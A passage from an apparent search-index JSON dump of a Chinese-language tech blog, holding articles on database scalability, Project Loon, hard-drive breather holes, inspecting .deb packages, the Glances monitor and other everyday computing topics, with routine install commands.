的架構可以讓程式設計師更快地開發出新穎且強大功能，並且可以免除使用 SQL 語法雨後端資料庫溝通的困擾，讓程式設計者可以更專注於發展新的功能。\n但是站在效能的考量上，許多事情又不一樣了。當 ORM 要與資料庫溝通的時候，它會自己自動產生所有 SQL 的 query，而這樣的做法雖然方便，但是 ORM 自動產生的 query 通常比程式設計師自己寫的還要複雜，這樣會導致資料庫無法對這些 query 做一些最佳化的動作，造成資料庫查詢時的效能降低。\n但基本上 ORM 所帶給你的許多好處，通常可以足以彌補它在的效能上的缺點，一般來說你應該不太需要擔心 ORM 的效能影響，在程式發展初期你可以選擇適當的 ORM 使用，加速各種功能的發展，而到後期的效能測試，若真的發現瓶頸出現在資料庫的查詢時，再考慮將 ORM 拿掉（亦可考慮 caching 與 database indexes 的方式），這樣是比較實際的做法，因為在大部分的情況下，ORM 的效能應該不至於影響太大，除非你的程式中有非常頻繁的資料庫查詢等動作，否則應該都是沒問題的。\nSynchronous、Serial、Coupled 或 Locking Processes 資料庫的鎖定（Locking）功能 在網頁應用程式中使用資料庫的鎖定（locking）功能就像現實生活中的紅綠燈，通常如果把紅綠燈換成圓環，可以動態的增加可通過這個路口的車流量，當車流量不大時，圓環不會像紅綠燈一樣讓一些車子在路口空等，而在尖峰時刻圓環也可以消化大量的車流量。\n如果你真的需要在程式中使用鎖定功能，那麼請使用 InnoDB 的表格（table），因為它有提供比較低階的鎖定功能，你可以不必每次都鎖定整個表格（像 MyISAM 就是這樣）。\nReplication 當資料庫的使用量太大而一台 MySQL 伺服器無法負荷時，可以使用多台 MySQL 伺服器同時服務。\nMySQL 資料庫的 replication 功能可以用來同步兩台 MySQL 伺服器之間的資料，將一台主要（master）MySQL 資料庫伺服器上的資料複製到備援（slave）的 MySQL 資料庫伺服器上。\n透過多台 MySQL 資料庫伺服器與 replication 功能，可以分散流量，讓系統可以負荷更多的使用者。\nSemi-Synchronous Replication Replication 在預設的狀況下是非同步的（asynchronous），也就是說 slave 伺服器不會隨時都與 master 伺服器連線進行同步，而是每隔一段時間才會連到 master 來更新自己的資料。在這樣的情況下，master 伺服器會將所有的 events 先紀錄在二進位的紀錄檔中，但卻不知道 slave 伺服器什麼時候會抓回去執行，如果時候 master 伺服器壞掉了，那些已經被 committed 的交易（transactions）可能根本沒有被送到任何的 slave 伺服器上，這樣就造成資料不同步的錯誤了。\n而後來有一種新的半同步 replication（semi-synchronous replication），就是在 master 伺服器上負責交易交付（commit）的執行序（thread），在執行交付之後會等待（也就是 blocking）所有被交付的交易都被至少一個 slave 伺服器全部接收之後才會結束，或是持續等待直到 timeout 發生。\n雖然半同步的 replication 可以避免不同步的錯誤發生，但是在交易很頻繁的伺服器上，可能會造成很多的執行序同時在執行，拖慢整個系統效能，所以半同步的 replication 在使用上要注意這一點。\n兩段式交付（Two-Phase Commit） 在許多分散式的資料庫系統中，兩段式交付（two-phase commit）是很常見的，然而這樣的機制也是會造成 blocking 的問題，對於系統的整體效能也會造成影響。\n系統監控 在一個大型的系統中，如果沒有適當的系統監控工具的幫助，是很難掌握系統中發生哪些事情的，而這樣的狀況下也很難整合業務單位、開發團隊與營運團隊來一起處理擴充性的問題。\n一般常用的系統監控工具很多，例如一些使用 SNMP 的 Cacti、Munin、OpenNMS、Ganglia 與 Zabbix 等，你可以選擇適合自己的工具來及時監控自己的系統，通常這類的工具都可以幫你監控很多常用的資訊，例如 CPU、記憶體、磁碟與網路等等，甚至資料庫的 buffer pool、交易記錄、locking sorting、暫存表格與每秒的 queries 量。\n除了監控一些系統底層的資訊之外，你也應該關心一些比較應用上的資訊，例如註冊的使用者數，或是軟體銷售量等。\n參考資料 High Scalability 前一篇：提高系統與程式擴充性（Scalability）與效能（Performance）的十個方法（ㄧ）\n","permalink":"https://blog.gtwang.org/tips/the-10-deadly-sins-against-scalability-2/","summary":"\u003ch2 id=\"避免累積太多的-technical-debt\"\u003e避免累積太多的 Technical Debt\u003c/h2\u003e\n\u003cp\u003eTechnical debt 是指一個專案或程式開發工作在真正完成前，所有應該做完的工作，如果一個專案中所累積的 technical debt 太多而沒有適時消化，到最後這個專案就容易出現問題，甚至可能因此終結。\u003c/p\u003e","title":"提高伺服器系統與資料庫擴充性（Scalability）與效能（Performance）的方法（二）"},{"content":"Coffitivity 是一家線上咖啡廳，當你在工作上感覺很無趣的時候，可以到這裡一邊喝咖啡一邊放鬆一下心情，有時候可以讓你有意想不到的驚喜。\n咖啡廳中的工作效率 有時候人在比較狹窄的空間，與其他人坐在一起時，伴隨著些微吵雜的聲音，反而可以讓工作效率提高，像很多人就喜歡帶著一台筆記型電腦，在餐廳、咖啡廳等公共場所工作，我個人也喜歡這樣工作。\n一般在辦公室通常比較安靜，由於太安靜讓人感覺過分死寂，也導致工作效率無法提高，而在一些適當的雜音之中，會讓人感覺比較放鬆，又可以專注於工作，但這個雜音也不能太大，若像 KTV 或演唱會這樣的場所就根本無法工作，一般來說在餐廳與咖啡廳這樣的場所是比較剛好的。\n想像一下你帶著一台 MacBook Air 在星巴克（Starbucks）咖啡廳靠窗邊的位子上，點了一杯你最愛喝的拿鐵（應該是我最愛喝的），一邊喝著咖啡，一邊開發程式。\n就是這樣的感覺，即使專案的 deadline 快到了，在這樣的環境下你也可以很放鬆的做好你的工作，而且效率可能比蹲在辦公室瞪大眼睛看著無聊的程式碼來的好（雖然都是程式碼，但是在咖啡廳看寫程式，心情一定比較好）。\n這種現象其實是有研究根據的，JCR 期刊中有一篇論文就是在研究環境噪音對於人創造力的影響，其結果顯示，在需要創造力的工作上，若有適當分貝數（70dB）的噪音會比低分貝（50dB）的情況更有生產力，而且創造出來的產品也會有比較好的銷售狀況，但若是分貝數太高（80dB），則反而會影響創造力，所以選擇剛好的噪音環境是很重要的。\n說了那麼多，以台灣的環境，大概不可能讓你真的在咖啡廳工作，就算有環境，老闆也不會允許。如果你還是想體驗在咖啡廳中工作的樂趣，可以試試看 Coffitivity 線上咖啡廳。\nCoffitivity 線上咖啡廳 現在這個時代，許多軟體全部雲端化了，今年的愚人節 Google 還推出了 Google 嗅覺測試版，可以讓你在線上聞到各式各樣的氣味？\n現在 Coffitivity 也把咖啡廳搬上雲端，縱使你坐在無聊的辦公室，也可以進入這家咖啡廳，點一杯你最喜歡的拿鐵，選個靠窗邊好位子，一邊喝咖啡一邊寫程式？\n以下是 Coffitivity 的使用教學。\n首先進入 Coffitivity 的網頁，網頁上方有一個音量調整功能，請配合自己的喇叭調整成適合的音量大小。\n如果你想一邊喝咖啡，一邊聽自己的音樂的話，那就請把自己音樂音量的音量調大一點點，只要比咖啡廳背景聲音的音量再稍微大一些即可，這個部分應該可以透過自己電腦中的音樂播放程式來調整。\n這時候你已經進入咖啡廳了，如果想在這裡喝咖啡，記得早上上班時經過 7-ELEVEN 買一杯，如果想坐在窗邊的位子，可以上 Google 查詢「咖啡廳+靠窗」的圖片，設為桌布像這張就不錯：\n如果要寫程式，當然沒問題，因為你就在電腦前面，馬上開啟 IDE 就可以寫了！\n只要你的想像力充足，我想不管是咖啡廳裡的電腦，還是電腦裡的咖啡廳，我想多少都可以讓你放鬆一下吧？ 😀\n參考資料 lifehacker lifehacker ","permalink":"https://blog.gtwang.org/funny/coffitivity/","summary":"\u003cp\u003eCoffitivity 是一家線上咖啡廳，當你在工作上感覺很無趣的時候，可以到這裡一邊喝咖啡一邊放鬆一下心情，有時候可以讓你有意想不到的驚喜。\u003c/p\u003e\n\u003ch2 id=\"咖啡廳中的工作效率\"\u003e咖啡廳中的工作效率\u003c/h2\u003e\n\u003cp\u003e有時候人在比較狹窄的空間，與其他人坐在一起時，伴隨著些微吵雜的聲音，反而可以讓工作效率提高，像很多人就喜歡帶著一台筆記型電腦，在餐廳、咖啡廳等公共場所工作，我個人也喜歡這樣工作。\u003c/p\u003e","title":"Coffitivity 線上咖啡廳：提升工作效率的方法"},{"content":"Ezame 是一個可以編輯 Ubuntu Unity 桌面選單的工具，亦可用於其他的桌面環境。\n這個 Ezame 選單編輯工具可以讓你編輯或新增桌面選單中的項目，基本上一般桌面選單中的項目都是使用 .desktop 格式來定義的，Ezame 支援所有 .desktop 格式中定義的屬性，包含應用程式的名稱、圖示、類別以及其他各種屬性，甚至像一些「OnlyShowIn」與「NotShowIn」（用於控制該選單項目出現的桌面環境）這樣的進階屬性都有支援。\n如果你不是使用 Unity 作為桌面的話，可以在 Ezame 的 Edit 選單的 Preferences 中，調整桌面的類型，將原本的 Ubuntu 改為 Classic，這樣它就會改用 freedesktop 選單。\n最新版的 Ezame 也有支援基本的 Cinnamon 環境。\n目前 Ezame 還沒辦法讓妳新增或編輯應用軟體的類別，但是這個功能有被列在 todo list 中，在未來的版本可能就會有這樣的功能。\n在你使用 Ezame 編輯 Unity 已存在的選單項目之後，基本上在螢幕上就可以立即看到編輯完成後的結果，但是如果是新增的選單項目，可能就要等比較久才能看到新增的項目顯示在選單中，甚至有時候要重新啟動桌面環境才能顯示，這個其實是 Unity 本身的限制，Ezame 也無能為力。\n在 Ubuntu 中若要安裝 Ezame 可以使用官方的 PPA 來安裝：\nsudo add-apt-repository ppa:caldas-lopes/ppa sudo apt-get update sudo apt-get install ezame 而其原始碼也可以從 GitHub 網站下載。\n","permalink":"https://blog.gtwang.org/linux/ezame-ubuntu-unity-menu-editor/","summary":"\u003cp\u003eEzame 是一個可以編輯 Ubuntu Unity 桌面選單的工具，亦可用於其他的桌面環境。\u003c/p\u003e\n\u003cp\u003e這個 Ezame 選單編輯工具可以讓你編輯或新增桌面選單中的項目，基本上一般桌面選單中的項目都是使用 .desktop 格式來定義的，Ezame 支援所有 .desktop 格式中定義的屬性，包含應用程式的名稱、圖示、類別以及其他各種屬性，甚至像一些「OnlyShowIn」與「NotShowIn」（用於控制該選單項目出現的桌面環境）這樣的進階屬性都有支援。\u003c/p\u003e","title":"Ezame：Ubuntu Unity 桌面選單編輯工具"},{"content":"在一般的硬碟上面有時候會看到「Do Not Cover This Hole」的警告標語，告訴你不要把硬碟上的小洞蓋住，這裡介紹這個小洞是做什麼用的。\n在很多硬碟上都會註明不要蓋住硬碟上的小洞，甚至寫明如果你把它蓋住，保固就會失效。那到底這些小洞是做什麼用的呢？\n簡單來說，這種小洞是為了讓硬碟內部的氣體壓力與外部相同，如果硬碟內外的空氣壓力差距太大，容易讓硬碟出問題，也會讓硬碟損毀的機率提高，所以一般硬碟上都要保留這樣的透氣孔，當硬碟外部的氣壓變動時，也會自然平衡內部的壓力。\n那到底什麼情況會出現壓力不同的狀況呢？最簡單的例子就是在平地生產的硬碟，拿到高山上使用時，高海拔的地方氣壓比較低，而如果硬碟沒有像這樣的透氣孔讓內外壓力平衡的話，硬碟內部的壓力還是會維持在它在平地生產時的壓力（壓力較高），這樣就會出現問題。\n硬碟透氣孔的設計，其實跟我們耳朵的結構類似，我們的耳朵也是要靠著耳咽管讓中耳腔的壓力與外界保持平衡，平時耳咽管是呈封閉的狀態，只有在吞嚥、打哈欠時因為肌肉的收縮而打開，這時中耳腔就能藉機與外界做壓力的平衡。\n因為硬碟是非常精密的設備，所以它必須在一定的壓力區間之內才能夠正常工作，透過透氣孔的設計就可以解決這個問題，而通常這個透氣孔不會直接與內部接通，中間還會有一個過濾器（breather filter）。\n如果內部的壓力過低，會讓硬碟的讀寫頭沒有足夠的空間運作，造成它太靠近磁碟，這樣會容易造成讀寫頭撞毀（crash），而資料也會流失。\n透氣孔在每個硬碟上都可以看到，通常旁邊也會有標示，告訴你不要把這個孔蓋住，所以如果你下次看到這樣的標示，記得不要在上面貼標簽或是膠帶什麼的，免得把硬碟搞壞。\n參考資料 How-To Geek: What Is the Purpose of the \u0026ldquo;Do Not Cover This Hole\u0026rdquo; Hole on Hard Drives? ","permalink":"https://blog.gtwang.org/tips/do-not-cover-this-hole-hole-on-hard-drive/","summary":"\u003cp\u003e在一般的硬碟上面有時候會看到「Do Not Cover This Hole」的警告標語，告訴你不要把硬碟上的小洞蓋住，這裡介紹這個小洞是做什麼用的。\u003c/p\u003e\n\u003cp\u003e在很多硬碟上都會註明不要蓋住硬碟上的小洞，甚至寫明如果你把它蓋住，保固就會失效。那到底這些小洞是做什麼用的呢？\u003c/p\u003e","title":"硬碟上的小洞是做什麼用的？為什麼不能蓋住？硬碟的透氣孔介紹"},{"content":"Google 的 Loon 計畫打算在地面上方 20 公里處建置環繞地球的高空氣球，並藉以將連網功能傳送到全世界。\nGoogle 最近推出了新的登月計畫（moonshot）─ Project Loon，準備透過氣球來提供具成本效益、低價，且可靠的的上網服務。根據 Loon 計畫的規畫，他們打算在地面上方 20 公里處建置環繞地球的高空氣球，並藉以將連網功能傳送到全世界。\n這些氣球的直徑約有 15 公尺，從地面必須利用望遠鏡才看得到，它們飛躍高山、飛機航線與雲雨區，位於平流層的地方，藉由在平流層上不同方向的風力來運送或是聚集氣球，這些氣球能夠與在地面上所建置的特殊網路天線進行通訊，鄰近的氣球間也能互相傳遞訊息，然後把訊息傳送到各地網路供應商所設立的基地台，打造一個天空上的網路環境。\nGoogle 為 Loon 計畫設計了用來接收訊息的專用廣播與天線，過濾其他的雜訊，以確保長程傳輸的高頻寬，這些氣球完全利用太陽能來供電，並透過 Loon Mission Control 控制。\nLoon 計畫負責人 Mike Cassidy 表示，這些氣球將帶來類似 3G 網路甚至更快的連網速度，最終希望它們能成為連結農村或偏遠地區的選項之一，且在天然災害過後用來協助通訊。\n由於要將氣球固定在一個地方並不容易，因此 Google 決定讓氣球順著風向移動，但可控制氣球的軌道以選擇乘風而行的方向。\n上周，Google 在紐西蘭讓 30 顆氣球升空，並有 50 名測試者嘗試連結氣球，這是 Loon 計畫迄今最大規模的測試活動，該專案亦尚處於非常早期的階段，Google 打算尋覓合作夥伴，亦將隨著各種測試的進行來改善技術與氣球的設計。\n下面這些是這些製作這些氣球的過程照片。\n這些氣球上裝載了許多設備，包含航空電子軟體（avionics software）、飛行感測器（flight sensors）與電源系統（power system）。\n航空電子軟體用於統籌任務控制與安全性的檢查，而飛行感測器則用於測量氣球的狀態與周遭環境，包含 GPS 位置、大氣壓力與溫度。電力系統則負責太陽能充電、電力的消耗與電池的安全性。\n因為在平流層中沒有雲層的遮蔽，陽光非常充足，對於太陽能板而言是非常好的，而這個太陽能板經過陽光照射 4 小時所產生的的電力，儲存在蓄電池中之後，就足以讓整個氣球運行 24 小時。\n這個橘色的氣球夾子是在製作氣球時，用來固定氣球避免它飛走用的，在最後要升空時，就會把它拿掉。\nLoon 計劃的成員 Bill Rogers 正在把氦氣灌入氣球中，而 Paul Acosta 在一旁監控這個過程，每個氣球需要 12 tanks 的氦氣，氦氣的多寡會決定氣球上升的速度有多快。\n這是正在安裝高度控制系統（altitude control system）的情況。\n氣球在升空時，至少需要六個人合作，包含發射指揮官領導整個升空過程並統籌任務控制系統，幾個人負責地面上的電子元件檢查、另外幾個人負責氣球的升空與檢查。\nLoon 計畫的氣球將通過平流層，而這個氣球會依據那裡的狀況，自動調整設定，讓氣球可以剛好浮在平流層之中。\n氣球升空之後，在我們的家中就可以透過一個特別設計的網路天線，接收來自於氣球上的網路訊號，這樣就可以使用 Loon 計畫所提供的網路服務。\n因為這個天線是 Loon 計畫中自己設計的，所以它的外觀特別設計成氣球的形狀。\n以下是 Loon 計畫在澳洲紐西蘭基督城附近的升空過程。\nLoon 計劃選擇在清晨日出時升空，那裡風景真的好漂亮。\n這是在日出前的升空準備。\n這是氣球即將升空前的樣子，在氣球升空時不會完全充飽，因為它隨後必須要上升到距離地面 20 公里的高空中，那裡的氣壓與平地是不同的。\n在氣球飄浮的期間，Loon 計劃團隊會持續跟它保持聯繫，在必要時也會與當地的航空管理機關聯絡。\n氣球上的網路訊號是使用 2.4 GHz 的頻譜，可以覆蓋下方直徑 40 公里的圓形區域，網路訊號從地面上的發送端傳送到氣球上，然後再透過氣球轉送到遠方地面上有安裝 Loon 計劃天線的接收端。\n","permalink":"https://blog.gtwang.org/funny/google-project-loon/","summary":"\u003cp\u003eGoogle 的 Loon 計畫打算在地面上方 20 公里處建置環繞地球的高空氣球，並藉以將連網功能傳送到全世界。\u003c/p\u003e\n\u003cp\u003eGoogle 最近推出了新的登月計畫（moonshot）─ Project Loon，準備透過氣球來提供具成本效益、低價，且可靠的的上網服務。根據 Loon 計畫的規畫，他們打算在地面上方 20 公里處建置環繞地球的高空氣球，並藉以將連網功能傳送到全世界。\u003c/p\u003e","title":"Google 的 Loon 計畫：以高空氣球提供全世界網路連線服務"},{"content":"Incredipede 是 Northway Games 所開發的一套華麗且生動益智遊戲，以前在 Windows 與 Mac OS X 平台中要玩這個遊戲是要付費的，但是現在他開放所有 Linux 的使用者免費下載完整版！\n「因為 Linux 使用者是 indie games 的擁護者，而且我也很喜歡 Linux 背後的哲學，所以我也讓它免費」\u0026ndash; Colin Northway\n同時，Incredipede 也讓 Windows 與 Mac 的使用者享有五折的優惠，並且提撥五成的盈餘贊助 FlashDevelop 與 Box2d 這兩個開放原始碼的專案（因為 Colin 使用這兩個工具來開發他的遊戲）。\n這個遊戲的主角是 Incredipede，她可以任意長出手與腳，透過各式各樣的組合，可以創造出一條蛇、一隻蜘蛛、一匹馬或是一只猴子等等，任何你想像得到的都有辦法組合出來，甚至給他鹿角或尾巴，全依照你的想像力與創造力。\n因為這套遊戲的 Linux 版是用 Flash 寫成的，所以在玩的時候要使用網頁瀏覽器來執行（不過個人感覺還是很好玩！），而官方建議是使用 Google 的 Chrome 瀏覽器，這樣效能會比較好（有硬體加速）。\n接下來介紹如何在 Linux 中下載與執行 Incredipede。\n首先可以連上 Incredipede 的官方網站，下載 Linux 版的壓縮檔 Incredipede.tar.gz。下載下來後，就直接解壓縮：\ntar zxvf Incredipede.tar.gz 解壓縮出來之後，會有個 Incredipede 資料夾，先進入這個資料夾：\ncd Incredipede 如果你有安裝 Google 的 Chrome 瀏覽器，那麼就執行 Play Incredipede in Chrome (better graphics) 這個指令稿，其實它就是開啟 Google 的 Chrome 瀏覽器而已：\ngoogle-chrome --ignore-gpu-blacklist data/Incredipede.html 如果你的 Chrome 瀏覽器的指令不是 google-chrome 的話，這個指令會出現錯誤，解決的方式就是找到自己的 Chrome 瀏覽器指令，替換一下就行了，像我的 Chrome 瀏覽器的指令是 chromium-browser，就執行：\nchromium-browser --ignore-gpu-blacklist data/Incredipede.html 如果沒有安裝 Google 的 Chrome 瀏覽器，那就直接用一般的瀏覽器開啓 data/Incredipede.html 這個網頁，這樣也是可以玩，但是效能會比較差（沒有硬體加速），所以建議還是使用 Google 的 Chrome 瀏覽器比較好。\n用瀏覽器開啟之後，就可以開始玩囉！一開始是主選單。\n遊戲的難度分為一般與困難兩種。\n遊戲中有好多關卡。\n每一關都有不同的挑戰，右邊黃色的部份就是目的地，你要想辦法拿到所有的寶藏（櫻桃或蘋果等），然後在走到這個黃色部份。\n過關了之後，會有分數表，告訴你花費的時間、使用的 legs 與 muscles，還有得到的寶藏。\n","permalink":"https://blog.gtwang.org/game/incredipede-linux-for-free/","summary":"\u003cp\u003e\u003ca href=\"https://www.incredipede.com/\"\u003eIncredipede\u003c/a\u003e 是 Northway Games 所開發的一套華麗且生動益智遊戲，以前在 Windows 與 Mac OS X 平台中要玩這個遊戲是要付費的，但是現在他開放所有 Linux 的使用者免費下載完整版！\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e「因為 Linux 使用者是 indie games 的擁護者，而且我也很喜歡 Linux 背後的哲學，所以我也讓它免費」\u0026ndash; Colin Northway\u003c/p\u003e","title":"Incredipede 益智遊戲現在提供 Linux 版免費下載！"},{"content":"一般在 Mac OS X 中的預設瀏覽器都是 Safari，這裡教你如何將預設瀏覽器設為其他的瀏覽器，如 Google 的 Chrome 或 Firefox 等。\n在 Mac OS X 中，一般預設的狀況下，系統碰到需要開啓網頁的時候，會使用預設的瀏覽器（也就是 Safari）來開啓，例如像是在 BBS 上碰到要開啓連結或是在終端機中開啟 URL 時，都會使用預設的 Safari。\n但有時候像我個人習慣用 Google Chrome，但是一碰到 URL 的連結時，點下去之後系統又會再開啓一個 Safari，雖然事都可以看，但是一次開兩個瀏覽器就感覺不是很經濟。\n下面教你如何更改 Mac OS X 系統中預設的瀏覽器，讓所有的 URL 連結網頁在開啓時都會使用自己習慣用的那個瀏覽器開啟。\nStep 1\n打開 Safari 瀏覽器，從 Safari 選單中，選擇偏好設定。\nStep 2\n選擇「一般」籤頁。\nStep 3\n更改「預設網頁瀏覽器」，這裡會列出所有可以開啓網頁的應用程式，但不見得都是一般的瀏覽器，基本上大部分的人應該都只會選擇 Firefox 或 Google Chrome 吧。\n這樣就完成了，之後開啓網頁時，系統就會使用這裡設定的瀏覽器來開啓。\n參考資料 Apple ","permalink":"https://blog.gtwang.org/mac-os/change-mac-os-x-default-browser/","summary":"\u003cp\u003e一般在 Mac OS X 中的預設瀏覽器都是 Safari，這裡教你如何將預設瀏覽器設為其他的瀏覽器，如 Google 的 Chrome 或 Firefox 等。\u003c/p\u003e\n\u003cp\u003e在 Mac OS X 中，一般預設的狀況下，系統碰到需要開啓網頁的時候，會使用預設的瀏覽器（也就是 Safari）來開啓，例如像是在 BBS 上碰到要開啓連結或是在終端機中開啟 URL 時，都會使用預設的 Safari。\u003c/p\u003e","title":"更改 Mac OS X 預設瀏覽器，讓系統預設使用其他的瀏覽器開啓網頁"},{"content":"這裡介紹如何在安裝 Debian 或 Ubuntu 套件（*.deb 檔）之前，先查看套件檔的內容，檢查是否有自己需要的函式庫或執行檔等。\n在 Debian/Ubuntu 等 Linux 系統中，所有系統收錄的套件都會被包裝成 deb 檔的格式，安裝時就直接安裝這一個檔就可以了，省去自行下載、解壓縮、編譯與安裝的過程，套件統一管理，所以要移除套件也很方便。\n使用 deb 檔來安裝雖然很方便，但是如果我們想知道一個套件到底安裝了哪些檔案，或是想確認一個套件之中到底有沒有包含自己需要的執行檔或是函式庫時，光看一個 deb 檔的名稱是不夠的，這時候就要透過一些方式將 deb 檔的內容列出來才行。\n以下介紹兩個方式，可以讓你在安裝之前先查看套件內容。\n使用 apt-file 指令查詢 apt-file 是一個 apt 套件的檔案搜尋工具，專門用來搜尋 deb 套件中的檔案。在 Ubuntu 或 Debian 中若要使用它，可以使用 apt-get 安裝：\nsudo apt-get install apt-file 在第一次使用之前，要先更新資料庫，讓所有套件的資訊與資料庫中的紀錄同步：\nsudo apt-file update 然後就可以查詢指定套件中包含哪些檔案，例如查詢 tofrodos 這個套件的檔案：\napt-file show tofrodos 輸出為：\ntofrodos: /usr/bin/fromdos tofrodos: /usr/bin/todos tofrodos: /usr/share/doc/tofrodos/NEWS.Debian.gz tofrodos: /usr/share/doc/tofrodos/changelog.Debian.gz tofrodos: /usr/share/doc/tofrodos/copyright tofrodos: /usr/share/doc/tofrodos/readme.txt.gz tofrodos: /usr/share/doc/tofrodos/tofrodos.html tofrodos: /usr/share/man/man1/fromdos.1.gz tofrodos: /usr/share/man/man1/todos.1.gz 由這個輸出我們就可以知道這個 deb 套件中包含哪些檔案，另外也可以看出每個檔案的安裝位置。\n解壓縮 deb 套件檔 上面使用 apt-file 指令來查詢的方法雖然很方便，但是它只能看到套件裡面的每個檔案名稱與路徑，如果想看這些檔案的實際內容，就要真的把套件下載下來了，並解壓縮來看了。\n要下載 repository 中的 deb 套件檔很簡單，只要使用 apt-get 指令配合 --download-only 這個參數即可：\nsudo apt-get --download-only install tofrodos 當你執行這行指令之後，tofrodos 這個套件的 deb 檔就會被下載下來，存放在 /var/cache/apt/archives 目錄中，但是由於我們加入了 --download-only 這個參數，所以 apt-get 不會安裝這個套件，只會單純下載與儲存而已。\n接著我們就可以使用 dpkg 指令配合 -c 參數來查看其中的內容：\ndpkg -c /var/cache/apt/archives/tofrodos_1.7.9.debian.1-1build1_amd64.deb 輸出為：\ndrwxr-xr-x root/root 0 2012-10-09 07:18 ./ drwxr-xr-x root/root 0 2012-10-09 07:18 ./usr/ drwxr-xr-x root/root 0 2012-10-09 07:18 ./usr/bin/ -rwxr-xr-x root/root 14680 2012-10-09 07:18 ./usr/bin/fromdos drwxr-xr-x root/root 0 2012-10-09 07:18 ./usr/share/ drwxr-xr-x root/root 0 2012-10-09 07:18 ./usr/share/doc/ drwxr-xr-x root/root 0 2012-10-09 07:18 ./usr/share/doc/tofrodos/ -rw-r--r-- root/root 2819 2012-10-09 07:18 ./usr/share/doc/tofrodos/changelog.Debian.gz -rw-r--r-- root/root 1406 2012-10-09 07:18 ./usr/share/doc/tofrodos/copyright -rw-r--r-- root/root 5410 2011-02-27 17:25 ./usr/share/doc/tofrodos/readme.txt.gz -rw-r--r-- root/root 5832 2011-02-27 17:25 ./usr/share/doc/tofrodos/tofrodos.html -rw-r--r-- root/root 391 2012-10-09 07:18 ./usr/share/doc/tofrodos/NEWS.Debian.gz drwxr-xr-x root/root 0 2012-10-09 07:18 ./usr/share/man/ drwxr-xr-x root/root 0 2012-10-09 07:18 ./usr/share/man/man1/ -rw-r--r-- root/root 1677 2012-10-09 07:18 ./usr/share/man/man1/fromdos.1.gz lrwxrwxrwx root/root 0 2012-10-09 07:18 ./usr/bin/todos -\u003e fromdos lrwxrwxrwx root/root 0 2012-10-09 07:18 ./usr/share/man/man1/todos.1.gz -\u003e fromdos.1.gz 這個部份跟使用 apt-get 是差不多的。\n另外，因為我們已經把 deb 檔整個下載下來了，所以其實我們可以直接使用 dpkg 指令配合 -x 參數把檔案內容解壓縮出來看，由於解壓縮之後，所有的檔案會按照正常的目錄結構放置，為了避免跟系統中其他的檔案混淆，所以我們先建立一個 tofrodos-deb 資料夾：\nmkdir tofrodos-deb 接著把 deb 檔解壓縮：\ndpkg -x /var/cache/apt/archives/tofrodos_1.7.9.debian.1-1build1_amd64.deb tofrodos-deb 再看看所有的檔案：\nls -R tofrodos-deb 輸出為：\ntofrodos-deb: usr tofrodos-deb/usr: bin share tofrodos-deb/usr/bin: fromdos todos tofrodos-deb/usr/share: doc man tofrodos-deb/usr/share/doc: tofrodos tofrodos-deb/usr/share/doc/tofrodos: changelog.Debian.gz copyright NEWS.Debian.gz readme.txt.gz tofrodos.html tofrodos-deb/usr/share/man: man1 tofrodos-deb/usr/share/man/man1: fromdos.1.gz todos.1.gz 這樣就可以直接看到套件中的實際檔案內容了。\n參考資料 Xmodulo ","permalink":"https://blog.gtwang.org/linux/how-to-list-all-files-contained-in-debian-package/","summary":"\u003cp\u003e這裡介紹如何在安裝 Debian 或 Ubuntu 套件（*.deb 檔）之前，先查看套件檔的內容，檢查是否有自己需要的函式庫或執行檔等。\u003c/p\u003e\n\u003cp\u003e在 Debian/Ubuntu 等 Linux 系統中，所有系統收錄的套件都會被包裝成 deb 檔的格式，安裝時就直接安裝這一個檔就可以了，省去自行下載、解壓縮、編譯與安裝的過程，套件統一管理，所以要移除套件也很方便。\u003c/p\u003e","title":"如何列出 Ubuntu 與 Debian 套件（*.deb 檔）的檔案內容？"},{"content":"Glances 是一個開放原始碼、跨平台的命令列系統監控工具，他可以在 Windows、Mac OS X 與 Linux 系統中使用。這裡我們以 Linux 平台為範例，介紹如何安裝與使用 Glances 這個工具。\nGlances 本身是以 Python 語言來開發的，再配合 psutil 函式庫來擷取系統中的資訊，透過這個監控工具，你可以看到系統中的各種資訊，包含中央處理器（CPU）、網路（Network）、行程（Process）、系統負載量（Load）、記憶體（Mem 與 Swap）、CPU 溫度、磁碟讀寫狀態（Disk I/O）、掛載狀態（Mount）與一些重要的系統紀錄。\nGlances 已經內建於 Arch Linux、Fedora/CentOS/RHEL、Debian（Sid/Testing）、Ubuntu（13.04+）與 FreeBSD 這些作業系統之中，如果你是使用這些作業系統的話，可以使用這些作業系統內部的套件管理系統來安裝。\n至於其他的 Linux 版本，可以使用 pip 來安裝。在 Ubuntu Linux 中可以先利用 apt 安裝 pip，而因為稍後安裝 Glances 也會需要編譯器，所以也要一併安裝一些開發用的套件：\nsudo apt-get install python-pip build-essential python-dev 安裝好 pip 之後，接著再安裝 Glances：\nsudo pip install Glances 安裝完成之後，在終端機之中直接執行就可以使用了：\nglances 這是執行時的畫面，裡面顯示了很多系統中的資訊，通常一般系統管理者會需要知道的資訊都包含在內。\n在預設的情況下，他會每秒鐘更新一次系統資訊，如果要更改更新週期，可以使用 -t 參數指定，例如設定每五秒更新一次：\nglances -t 5 在 Glances 的報表中，重要的狀態會用彩色的方式強調，以下是各種顏色所代表的意義：\n綠色: 表示狀態一切正常（OK）。 藍色: 表示需要注意（CAREFUL）。 紅紫色: 表示警告（WARNING）。 紅色: 表示系統有問題了（CRITICAL）。 在 Glances 在執行時，可以用以下的按鍵來控制它：\n「a」：自動排序模式，這會讓行程列表自動排序。 「b」：切換網路 I/O 的單位，bit/s 或 Byte/s。 「c」：依據 CPU 使用率排序行程。 「d」：顯示/隱藏硬碟 I/O 狀態。 「f」：顯示/隱藏檔案系統狀態。 「h」：顯示/隱藏輔助（help）訊息狀態。 「i」：依據 I/O 排序行程。 「l」：顯示/隱藏記錄檔（log）訊息。 「m」：依據記憶體使用率排序行程。 「n」：顯示/隱藏網路狀態。 「p」：依據名稱排序行程。 「s」：顯示/隱藏 sensors 狀態。 「w」：刪除已完成的警告訊息。 「x」：刪除已完成的警告與錯誤訊息。 「1」：在全部 CPU 與單一核心（core）之間做切換。 「q」：離開。 如果你想在其他的作業系統（例如 Windows 與 Mac OS X）中使用 Glances，可以參考 Glances 的官方說明，基本上因為它是使用 Python 所開發的，所以安裝起來問題應該不大。\n參考資料 Ubuntu Geek ","permalink":"https://blog.gtwang.org/linux/glances-cli-curses-based-monitoring-tool/","summary":"\u003cp\u003e\u003ca href=\"https://github.com/nicolargo/glances\"\u003eGlances\u003c/a\u003e 是一個開放原始碼、跨平台的命令列系統監控工具，他可以在 Windows、Mac OS X 與 Linux 系統中使用。這裡我們以 Linux 